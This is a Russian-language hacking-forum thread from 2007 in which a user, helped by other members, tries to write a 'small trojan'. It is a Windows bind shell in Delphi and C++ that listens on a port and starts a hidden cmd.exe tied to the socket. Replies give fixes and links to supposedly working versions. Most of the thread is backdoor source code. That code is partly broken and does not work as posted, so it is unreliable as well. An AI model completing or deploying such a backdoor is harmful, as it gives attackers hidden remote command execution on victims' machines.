небольшой трой Bs

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _PARAZIT_, 3 Oct 2007.

  1. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    народ помогите кто может и понимает в этом деле...
    тока без лишнего трепа типа я крутой хакер а ты ламо...если можешь помоги!
    написал эту дрянь (еще начало тока типа) - а она не работает... я конечно может не понимаю смысл и методику использования CreateProcess........ какие сдесь ошибки, подскажите...(ошибки в ДНК не принимаюцца:) )
    Code:
    program test;
    {$APPTYPE CONSOLE}
    uses SysUtils, winsock, windows;
    
    var si:TSTARTUPINFO;
        sa,addr_from:sockaddr_in ;
        pi:PROCESS_INFORMATION;
        len,rec:integer;
        HWSAdata:WSADATA;
        s,s_cln:Tsocket;
        st:string[100];
    begin
    WSAStartup($0101,HWSAdata);
    s:=Socket(AF_INET,SOCK_STREAM,0);
    sa.sin_family:=AF_INET;
    sa.sin_port:=htons(7000);
    sa.sin_addr.s_addr:=INADDR_ANY;
    fillchar(sa.sin_zero, 8, 0);
    bind(s,sa, sizeof(sa));
    listen(s,3);
    len:=sizeof(addr_from);
    while true do begin
            s_cln:=accept(s,@addr_from,@len);
            while true do begin
            rec:=recv(s_cln, st, 100, 0);
            if rec=0 then break
                    else begin
                            si.cb:=sizeof(si);
                            si.wShowWindow:=SW_HIDE;
                            si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                            si.hStdInput:=s_cln;
                            si.hStdOutput:=s_cln;
                            si.hStdError:=s_cln;
                            si.lpDesktop:=nil;
                            si.lpTitle:=nil;
                            si.lpReserved2:=NIL;
                            CreateProcess(NIL ,'dir с:',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
                            FillChar(st,255,#0);
                    end;
            end;
    closesocket(s_cln);
    //sleep(100);
    end;
    closesocket(s);
    WSACleanup();
    end.
    
    
     
    1 person likes this.
  2. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    517
    Likes Received:
    130
    Reputations:
    -13
    Ты ли это написал?
    И что он делает?
     
  3. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Есть такая штука, называется MSDN, там ты найдешь комментарий по каждой документированной функции.
    И если ты хочешь, чтобы тебе помогли, нужно четко выкладывать суть своей проблемы.
     
  4. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Это биндшелл на дельфях... Как мило.:)

    У тя в CreateProcess вместо 'dir с:' должно быть 'cmd.exe' .
     
    1 person likes this.
  5. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    да... это bind shell на делфях... сначало надо сделать и догнать все на делфях что б приступить на С, а то там ваще все темно и надо приступать со знание дела...

    вобщем суть такова что он неработает почемуто...
    Code:
    program test;
    {$APPTYPE CONSOLE}
    uses SysUtils, winsock, windows;
    
    var si:TSTARTUPINFO;
        sa,addr_from:sockaddr_in ;
        pi:PROCESS_INFORMATION;
        len,rec:integer;
        HWSAdata:WSADATA;
        s,s_cln:Tsocket;
        st:string[100];
    begin
    WSAStartup($0101,HWSAdata);
    s:=Socket(AF_INET,SOCK_STREAM,0); //создаем сокет
    sa.sin_family:=AF_INET; //настрайваем его
    sa.sin_port:=htons(7000);
    sa.sin_addr.s_addr:=INADDR_ANY;
    fillchar(sa.sin_zero, 8, 0);
    bind(s,sa, sizeof(sa));
    listen(s,3); //число клиентов
    len:=sizeof(addr_from);
    while true do begin
            s_cln:=accept(s,@addr_from,@len); //...кто то подключился
            while true do begin //начинаем цикл обработки подключенного клиента
            rec:=recv(s_cln, st, 100, 0); // принимаем команду
            if rec=0 then break //если команда действительно есть то начинаем создавать процесс
                    else begin
                            si.cb:=sizeof(si);
                            si.wShowWindow:=SW_HIDE;
                            si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                            si.hStdInput:=s_cln;
                            si.hStdOutput:=s_cln;
                            si.hStdError:=s_cln;
                            si.lpDesktop:=nil;
                            si.lpTitle:=nil;
                            si.lpReserved2:=NIL;
                            CreateProcess(NIL ,'dir',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //во всех примера там где у меня dir стоит конечноже cmd (командный интерпретатор), но я думал просто что именно сюда надо прописать команду...или же команда выполняется автоматически с приходом чегонибудь в сокет из-за вот этой строчки si.hStdInput:=s_cln; 
                            FillChar(st,255,#0);
                    end;
            end;
    closesocket(s_cln);
    //sleep(100);
    end;
    closesocket(s);
    WSACleanup();
    end.
    
    где неправильная логика? и вообще так ли пишут bind shell-ы? патамучто он даже если dir изменить на cmd... всеравно не пашет...протесть пожалуйста ктонибудь.
     
  6. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Code:
    rec:=recv(s_cln, st, 100, 0); // принимаем команду
            if rec=0 then break 
    
    Это не нужно. Срузу после
    Code:
    s_cln:=accept(s,@addr_from,@len); 
    
    Нужно заполнять структуру:
    Code:
    si.cb:=sizeof(si);
                            si.wShowWindow:=SW_HIDE;
                            si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    ...
    
    И ещё раз говорю: нинадо никаких dir`ов, только 'cmd.exe'. После telnet`на забинденый порт получишь коммандную строку и всё.
     
  7. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    исправил...
    Code:
    program test;
    {$APPTYPE CONSOLE}
    uses SysUtils, winsock, windows;
    
    var si:TSTARTUPINFO;
        sa,addr_from:sockaddr_in ;
        pi:PROCESS_INFORMATION;
        len,rec:integer;
        HWSAdata:WSADATA;
        s,s_cln:Tsocket;
        st:string[100];
    begin
    WSAStartup($0101,HWSAdata);
    s:=Socket(AF_INET,SOCK_STREAM,0);
    sa.sin_family:=AF_INET;
    sa.sin_port:=htons(7000);
    sa.sin_addr.s_addr:=INADDR_ANY;
    fillchar(sa.sin_zero, 8, 0);
    bind(s,sa, sizeof(sa));
    listen(s,3);
    len:=sizeof(addr_from);
    while true do begin
            s_cln:=accept(s,@addr_from,@len);
                            si.cb:=sizeof(si);
                            si.wShowWindow:=SW_HIDE;
                            si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                            si.hStdInput:=s_cln;
                            si.hStdOutput:=s_cln;
                            si.hStdError:=s_cln;
                            si.lpDesktop:=nil;
                            si.lpTitle:=nil;
                            si.lpReserved2:=NIL;
                            CreateProcess(NIL ,'cmd.exe',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
    //closesocket(s_cln);
    end;
    closesocket(s_cln);
    
    closesocket(s);
    WSACleanup();
    end.
    
    при коннекте к нему как тока в телнете напишешь хоть одну букву сразу обрывается соединение...
    closesocket(s_cln); ставил и в теле цикла и за ним - всеравно одно и то же...
     
  8. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    если подождешь... завтра кину парочку рабочих версий... сорцы на дельфи...

    p.s. в bindshell'ах надо winsock2 юзать.


    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    перед всеми извиняюсь...
    в winsock2 позволяет перенаправлять поток из консоли... туплю... да и вобщем пора бы понять что я ничего не знаю...
     
    #8 W!z@rD, 3 Oct 2007
    Last edited: 3 Oct 2007
  9. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Это ты где такого начитался? Фленов, Кузьмич или может быть еще ктото? Я так полагаю этот вывод был сделан на основе пробемы связанной с SO_OPENTYPE? Может быть ты не в курсе, что UNIX системы крутятся на первых сокетах? Вот реально, только на античате в разделе кодинг можно поднять себе настроение на весь день.
     
    1 person likes this.
  10. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    не гони, полно таких форумов, вот этот почитай когда скучно будет
    http://www.sql.ru/forum/actualthread.aspx?bid=16&tid=466654&pg=1
     
  11. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    вот, держи:

    http://slil.ru/24934202
     
  12. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    эта вещь тоже не работает... при коннекте telnet
    как тока пишешь какуюнибудь букву сразу обрывается соединение....
    при использовании собственного клиента - ноль реакции....
     
  13. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    ну помогите хоть ктонибудь... скомпильте мой пример или W!z@rD и скажите работает или нет... может у меня тут на компе что нить не так...
     
  14. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    ну помогите ктонибудь разобраться... а то ж я так и буду сидеть и тупить...
    вот уже и на С++ скомпилил примерчик... с помощью groundhog все собралось...
    Code:
    #include <winsock2.h>
    #include <windows.h>
    #pragma comment(lib, "ws2_32.lib")
    int main(){  
    
    	SOCKET s;
        struct sockaddr_in localaddr, clientaddr;
    	WSADATA wsaData; 
    	typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
    	PIPE input, output;
    	SECURITY_ATTRIBUTES sa;
    	STARTUPINFO st;
    	PROCESS_INFORMATION pr;
    
        WSAStartup(MAKEWORD(2,2), &wsaData); 
    
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    
    	localaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
        localaddr.sin_family = AF_INET;
        localaddr.sin_port = htons(31337);
    	
    	bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); 
        listen(s, 0);
    
    	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.bInheritHandle = TRUE;
        sa.lpSecurityDescriptor = NULL;
    
        CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
        CreatePipe(&output.hRead, &output.hWrite, &sa, 0);
    
    	ZeroMemory(&st, sizeof(STARTUPINFO));
        st.cb = sizeof(STARTUPINFO);
        st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        st.wShowWindow = SW_HIDE; 
        st.hStdInput = input.hRead; 
        st.hStdOutput = output.hWrite; 
        st.hStdError = output.hWrite;
    
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);
    
    }
    
    при коннекте telnet из IPtools почемуто ничего не работает - ноль реакции.......
     
  15. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Вот те 100% работающий вариант:
    http://forum.antichat.ru/threadedpost461763.html(последний пост)
     
  16. _PARAZIT_

    _PARAZIT_ New Member

    Joined:
    2 Oct 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    а ты думаешь я его не компилил? я уже тут все варианты попробывал...
    при сборке твоего варианта выдается ошибка
    Code:
    Compiling...
    bs.cpp
    e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'buf' : unreferenced local variable
    e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'type' : unreferenced local variable
    e:\c++\c++\project\bs_add\bs\bs.cpp(43) : warning C4101: 'i' : unreferenced local variable
    Linking...
    LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
    Debug/bs.exe : fatal error LNK1120: 1 unresolved externals
    Error executing link.exe.
    
    bs.exe - 2 error(s), 3 warning(s)
    
    кто то говорил что нада ставить win 32 а не консольное приложение (это типа ошибка оюозначает именно это)... но ведь я так и делал...
    File->New->Projects->Win32 Applications
    потом cpp фаил создовал
    File->New->C++ Source file
    .........а оно не собирается:(
    но если закоментировать точку входа #pragma comment(linker,"/ENTRY:WinMain") - то собирается, и получаем exe...
    врубаю телнет из IPtools, конекчусь - конектится... пишу md cat1 - и фиг ничего не создается... при команде dir - телнет ничего не оттображает....